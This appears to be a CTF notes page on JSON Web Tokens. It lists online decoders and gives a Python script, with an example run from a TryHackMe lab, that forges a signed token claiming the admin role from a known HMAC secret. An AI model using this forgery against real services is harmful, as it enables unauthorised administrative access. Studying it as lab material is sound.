> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/web/web-attacks/json-web-token-jwt.md).

# JSON Web Token (JWT)

## Decoding JWTs

### Online sites

There are numerous online sites that can decode JWTs:

* <https://gchq.github.io/CyberChef/#recipe=JWT_Decode()&oeol=NEL>
* <https://jwt.one/>
* <https://jwt.rocks/>
* <https://www.jwt.io/>
* <https://www.token.dev/jwt/>

## Create a new JWT

To create a new **signed** JWT. Requires knowledge of the `secret`.

```bash
#!/usr/bin/env python

import hmac, hashlib, base64, json, time

def b64url(data):
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header  = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}, separators=(',', ':')))
secret = b'N3xusK3y2024!!'

payload = b64url(json.dumps({
    "sub": "cajac",
    "role": "admin",
    "iat": int(time.time()),
    "exp": int(time.time()) + 3600
}, separators=(',', ':')))

msg = f"{header}.{payload}"
sig = hmac.new(secret, msg.encode(), hashlib.sha256).digest()
print(f"{msg}.{b64url(sig)}")
```

<details>

<summary>Example run</summary>

```bash
┌──(kali㉿kali)-[/mnt/…/TryHackMe/Challenges/Medium/Domino]
└─$ ./create_jwt.py 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJjYWphYyIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4ODA4NjI3MiwiZXhwIjoxNzg4MDg5ODcyfQ.0XS3a0C5mxThCx46Ue5lSGHCkyaiKyVZ46o44KjVCpk
```

</details>

## Resources

JSON - Wikipedia: <https://en.wikipedia.org/wiki/JSON>

JSON Web Token - Wikipedia: <https://en.wikipedia.org/wiki/JSON_Web_Token>

jwt\_tool - GitHub: <https://github.com/ticarpi/jwt_tool>
